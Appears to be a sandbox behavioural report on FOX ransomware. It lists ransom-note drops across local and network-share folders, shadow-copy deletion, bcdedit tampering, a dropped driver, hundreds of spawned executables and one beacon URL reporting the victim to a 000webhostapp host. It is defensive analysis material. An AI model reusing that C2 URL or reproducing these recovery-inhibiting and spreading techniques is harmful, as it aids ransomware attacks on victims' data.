f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\be\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fi\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\kok\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\include\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ml-IN\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sr-Cyrl-BA\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\include\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\kn\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\af\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\logs\setup\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\Videos\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft OneDrive\setup\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sq\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\pt-BR\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\Flat\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Mozilla Firefox\defaults\pref\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\MEIPreload\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ar\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mk\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ku-Arab\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Favorites\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Extensions\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\gd\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pl\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\Reader\DesktopNotification\NotificationsDB\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0lj62mcv.default-release\settings\main\ms-language-packs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ga-IE\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls.2\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\hy\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ru\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe HTTP URL 165 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=N9JBFkHbeUm4Ir1M&phase=[FIN]3F718AEBA1F62D9C|3151|88|3239 Process not Found File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\images\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\de\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\as-IN\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ca-Es-VALENCIA\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\he\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\CortanaListenUIApp_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\db\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\regid.1991-06.com.microsoft\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mn\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ta\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 5036 bcdedit.exe 3696 bcdedit.exe -
Blacklisted process makes network request 2 IoCs
flow pid Process 34 4172 powershell.exe 291 2104 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS ZPVn0rpr64.exe -
Executes dropped EXE 322 IoCs
pid Process 2080 NW6U7626.exe 4796 ZPVn0rpr.exe 4832 ZPVn0rpr64.exe 5096 ZPVn0rpr.exe 4100 ZPVn0rpr.exe 4280 ZPVn0rpr.exe 4232 ZPVn0rpr.exe 4368 ZPVn0rpr.exe 4552 ZPVn0rpr.exe 4840 ZPVn0rpr.exe 4812 ZPVn0rpr.exe 3688 ZPVn0rpr.exe 572 ZPVn0rpr.exe 4456 ZPVn0rpr.exe 4176 ZPVn0rpr.exe 4324 ZPVn0rpr.exe 4744 ZPVn0rpr.exe 4912 ZPVn0rpr.exe 4880 ZPVn0rpr.exe 4168 ZPVn0rpr.exe 4308 ZPVn0rpr.exe 4300 ZPVn0rpr.exe 4660 ZPVn0rpr.exe 276 ZPVn0rpr.exe 4388 ZPVn0rpr.exe 5036 ZPVn0rpr.exe 4148 ZPVn0rpr.exe 4284 ZPVn0rpr.exe 4304 ZPVn0rpr.exe 4404 ZPVn0rpr.exe 4560 ZPVn0rpr.exe 4688 ZPVn0rpr.exe 4848 ZPVn0rpr.exe 4104 ZPVn0rpr.exe 4716 ZPVn0rpr.exe 5104 ZPVn0rpr.exe 4340 ZPVn0rpr.exe 5100 ZPVn0rpr.exe 412 ZPVn0rpr.exe 4228 ZPVn0rpr.exe 4908 ZPVn0rpr.exe 5028 ZPVn0rpr.exe 3796 ZPVn0rpr.exe 4244 ZPVn0rpr.exe 4384 ZPVn0rpr.exe 4624 ZPVn0rpr.exe 4592 ZPVn0rpr.exe 4184 ZPVn0rpr.exe 4132 ZPVn0rpr.exe 5072 ZPVn0rpr.exe 4336 ZPVn0rpr.exe 4212 ZPVn0rpr.exe 4224 ZPVn0rpr.exe 4872 ZPVn0rpr.exe 4196 ZPVn0rpr.exe 4932 ZPVn0rpr.exe 272 ZPVn0rpr.exe 4732 ZPVn0rpr.exe 4564 ZPVn0rpr.exe 2644 ZPVn0rpr.exe 4868 ZPVn0rpr.exe 5088 ZPVn0rpr.exe 4596 ZPVn0rpr.exe 5168 ZPVn0rpr.exe 5192 ZPVn0rpr.exe 5320 ZPVn0rpr.exe 5344 ZPVn0rpr.exe 5472 ZPVn0rpr.exe 5496 ZPVn0rpr.exe 5624 ZPVn0rpr.exe 5648 ZPVn0rpr.exe 5776 ZPVn0rpr.exe 5800 ZPVn0rpr.exe 5928 ZPVn0rpr.exe 5952 ZPVn0rpr.exe 6080 ZPVn0rpr.exe 6104 ZPVn0rpr.exe 4600 ZPVn0rpr.exe 268 ZPVn0rpr.exe 5348 ZPVn0rpr.exe 5220 ZPVn0rpr.exe 5392 ZPVn0rpr.exe 3840 ZPVn0rpr.exe 5540 ZPVn0rpr.exe 5732 ZPVn0rpr.exe 5876 ZPVn0rpr.exe 5936 ZPVn0rpr.exe 6088 ZPVn0rpr.exe 6068 ZPVn0rpr.exe 5196 ZPVn0rpr.exe 508 ZPVn0rpr.exe 5292 ZPVn0rpr.exe 5232 ZPVn0rpr.exe 5444 ZPVn0rpr.exe 5660 ZPVn0rpr.exe 5704 ZPVn0rpr.exe 5684 ZPVn0rpr.exe 6040 ZPVn0rpr.exe 6092 ZPVn0rpr.exe 4020 ZPVn0rpr.exe 5144 ZPVn0rpr.exe 5420 ZPVn0rpr.exe 5308 ZPVn0rpr.exe 5408 ZPVn0rpr.exe 5500 ZPVn0rpr.exe 5736 ZPVn0rpr.exe 5796 ZPVn0rpr.exe 5176 ZPVn0rpr.exe 2968 ZPVn0rpr.exe 5492 ZPVn0rpr.exe 5300 ZPVn0rpr.exe 5612 ZPVn0rpr.exe 5484 ZPVn0rpr.exe 5716 ZPVn0rpr.exe 5832 ZPVn0rpr.exe 6112 ZPVn0rpr.exe 6136 ZPVn0rpr.exe 5560 ZPVn0rpr.exe 5388 ZPVn0rpr.exe 5556 ZPVn0rpr.exe 5644 ZPVn0rpr.exe 6036 ZPVn0rpr.exe 6020 ZPVn0rpr.exe 5296 ZPVn0rpr.exe 5332 ZPVn0rpr.exe 5580 ZPVn0rpr.exe 636 ZPVn0rpr.exe 5988 ZPVn0rpr.exe 5640 ZPVn0rpr.exe 5996 ZPVn0rpr.exe 4144 ZPVn0rpr.exe 5592 ZPVn0rpr.exe 5268 ZPVn0rpr.exe 5516 ZPVn0rpr.exe 5512 ZPVn0rpr.exe 5992 ZPVn0rpr.exe 5156 ZPVn0rpr.exe 5356 ZPVn0rpr.exe 5336 ZPVn0rpr.exe 5276 ZPVn0rpr.exe 5940 ZPVn0rpr.exe 5460 ZPVn0rpr.exe 5328 ZPVn0rpr.exe 5360 ZPVn0rpr.exe 5744 ZPVn0rpr.exe 6132 ZPVn0rpr.exe 5228 ZPVn0rpr.exe 6012 ZPVn0rpr.exe 5852 ZPVn0rpr.exe 5140 ZPVn0rpr.exe 5448 ZPVn0rpr.exe 5692 ZPVn0rpr.exe 6164 ZPVn0rpr.exe 6292 ZPVn0rpr.exe 6316 ZPVn0rpr.exe 6444 ZPVn0rpr.exe 6468 ZPVn0rpr.exe 6596 ZPVn0rpr.exe 6620 ZPVn0rpr.exe 6752 ZPVn0rpr.exe 6776 ZPVn0rpr.exe 6904 ZPVn0rpr.exe 6928 ZPVn0rpr.exe 7056 ZPVn0rpr.exe 7080 ZPVn0rpr.exe 6184 ZPVn0rpr.exe 5812 ZPVn0rpr.exe 6232 ZPVn0rpr.exe 6348 ZPVn0rpr.exe 6500 ZPVn0rpr.exe 6568 ZPVn0rpr.exe 6704 ZPVn0rpr.exe 6760 ZPVn0rpr.exe 6920 ZPVn0rpr.exe 6948 ZPVn0rpr.exe 7084 ZPVn0rpr.exe 6984 ZPVn0rpr.exe 7144 ZPVn0rpr.exe 7116 ZPVn0rpr.exe 6252 ZPVn0rpr.exe 6484 ZPVn0rpr.exe 4792 ZPVn0rpr.exe 6720 ZPVn0rpr.exe 6892 ZPVn0rpr.exe 6932 ZPVn0rpr.exe 6976 ZPVn0rpr.exe 7004 ZPVn0rpr.exe 5428 ZPVn0rpr.exe 3468 ZPVn0rpr.exe 6508 ZPVn0rpr.exe 6612 ZPVn0rpr.exe 6872 ZPVn0rpr.exe 6940 ZPVn0rpr.exe 6988 ZPVn0rpr.exe 6804 ZPVn0rpr.exe 6404 ZPVn0rpr.exe 6028 ZPVn0rpr.exe 6264 ZPVn0rpr.exe 6472 ZPVn0rpr.exe 6696 ZPVn0rpr.exe 7072 ZPVn0rpr.exe 2752 ZPVn0rpr.exe 3764 ZPVn0rpr.exe 6360 ZPVn0rpr.exe 6592 ZPVn0rpr.exe 6744 ZPVn0rpr.exe 1980 ZPVn0rpr.exe 6796 ZPVn0rpr.exe 6632 ZPVn0rpr.exe 512 ZPVn0rpr.exe 6456 ZPVn0rpr.exe 6268 ZPVn0rpr.exe 4024 ZPVn0rpr.exe 772 ZPVn0rpr.exe 1996 ZPVn0rpr.exe 7024 ZPVn0rpr.exe 1444 ZPVn0rpr.exe 6912 ZPVn0rpr.exe 5604 ZPVn0rpr.exe 6480 ZPVn0rpr.exe 6272 ZPVn0rpr.exe 7096 ZPVn0rpr.exe 692 ZPVn0rpr.exe 7016 ZPVn0rpr.exe 6616 ZPVn0rpr.exe 6448 ZPVn0rpr.exe 6728 ZPVn0rpr.exe 1800 ZPVn0rpr.exe 4940 ZPVn0rpr.exe 6780 ZPVn0rpr.exe 6572 ZPVn0rpr.exe 7060 ZPVn0rpr.exe 6924 ZPVn0rpr.exe 6836 ZPVn0rpr.exe 6392 ZPVn0rpr.exe 6396 ZPVn0rpr.exe 7076 ZPVn0rpr.exe 6380 ZPVn0rpr.exe 6440 ZPVn0rpr.exe 6960 ZPVn0rpr.exe 2640 ZPVn0rpr.exe 7120 ZPVn0rpr.exe 264 ZPVn0rpr.exe 6964 ZPVn0rpr.exe 3952 ZPVn0rpr.exe 6180 ZPVn0rpr.exe 7088 ZPVn0rpr.exe 4652 ZPVn0rpr.exe 7164 ZPVn0rpr.exe 6328 ZPVn0rpr.exe 2196 ZPVn0rpr.exe 7172 ZPVn0rpr.exe 7196 ZPVn0rpr.exe 7324 ZPVn0rpr.exe 7348 ZPVn0rpr.exe 7480 ZPVn0rpr.exe 7504 ZPVn0rpr.exe 7632 ZPVn0rpr.exe 7656 ZPVn0rpr.exe 7784 ZPVn0rpr.exe 7808 ZPVn0rpr.exe 7936 ZPVn0rpr.exe 7960 ZPVn0rpr.exe 8088 ZPVn0rpr.exe 8112 ZPVn0rpr.exe 3416 ZPVn0rpr.exe 7044 ZPVn0rpr.exe 7256 ZPVn0rpr.exe 7440 ZPVn0rpr.exe 7584 ZPVn0rpr.exe 7600 ZPVn0rpr.exe 7752 ZPVn0rpr.exe 7804 ZPVn0rpr.exe 7952 ZPVn0rpr.exe 7980 ZPVn0rpr.exe 8132 ZPVn0rpr.exe 8016 ZPVn0rpr.exe 8176 ZPVn0rpr.exe 7272 ZPVn0rpr.exe 7472 ZPVn0rpr.exe 7376 ZPVn0rpr.exe 7696 ZPVn0rpr.exe 7792 ZPVn0rpr.exe 7972 ZPVn0rpr.exe 7860 ZPVn0rpr.exe 8020 ZPVn0rpr.exe 8000 ZPVn0rpr.exe 5636 ZPVn0rpr.exe 6504 ZPVn0rpr.exe 7232 ZPVn0rpr.exe 7456 ZPVn0rpr.exe 7888 ZPVn0rpr.exe 7916 ZPVn0rpr.exe 8116 ZPVn0rpr.exe 8036 ZPVn0rpr.exe 7212 ZPVn0rpr.exe 7224 ZPVn0rpr.exe 7628 ZPVn0rpr.exe 7520 ZPVn0rpr.exe 7796 ZPVn0rpr.exe 7948 ZPVn0rpr.exe 7856 ZPVn0rpr.exe 8180 ZPVn0rpr.exe 7476 ZPVn0rpr.exe 7500 ZPVn0rpr.exe 7776 ZPVn0rpr.exe 7816 ZPVn0rpr.exe 7320 ZPVn0rpr.exe 7996 ZPVn0rpr.exe 7276 ZPVn0rpr.exe 7304 ZPVn0rpr.exe 7452 ZPVn0rpr.exe 7672 ZPVn0rpr.exe 7488 ZPVn0rpr.exe 7460 ZPVn0rpr.exe 7384 ZPVn0rpr.exe 7408 ZPVn0rpr.exe 7484 ZPVn0rpr.exe 8164 ZPVn0rpr.exe 4116 ZPVn0rpr.exe 7892 ZPVn0rpr.exe 7716 NW6U7626.exe -
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\BackupShow.tiff f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe -
Sets service image path in registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000100000001ad87-35.dat upx behavioral2/files/0x000100000001ad87-36.dat upx behavioral2/files/0x000100000001ad87-47.dat upx behavioral2/files/0x000100000001ad87-49.dat upx behavioral2/files/0x000100000001ad87-55.dat upx behavioral2/files/0x000100000001ad87-57.dat upx behavioral2/files/0x000100000001ad87-63.dat upx behavioral2/files/0x000100000001ad87-65.dat upx behavioral2/files/0x000100000001ad87-71.dat upx behavioral2/files/0x000100000001ad87-73.dat upx behavioral2/files/0x000100000001ad87-83.dat upx behavioral2/files/0x000100000001ad87-85.dat upx behavioral2/files/0x000100000001ad87-93.dat upx behavioral2/files/0x000100000001ad87-95.dat upx behavioral2/files/0x000100000001ad87-101.dat upx behavioral2/files/0x000100000001ad87-103.dat upx behavioral2/files/0x000100000001ad87-109.dat upx behavioral2/files/0x000100000001ad87-111.dat upx behavioral2/files/0x000100000001ad87-117.dat upx behavioral2/files/0x000100000001ad87-119.dat upx behavioral2/files/0x000100000001ad87-125.dat upx behavioral2/files/0x000100000001ad87-127.dat upx behavioral2/files/0x000100000001ad87-133.dat upx behavioral2/files/0x000100000001ad87-135.dat upx behavioral2/files/0x000100000001ad87-141.dat upx 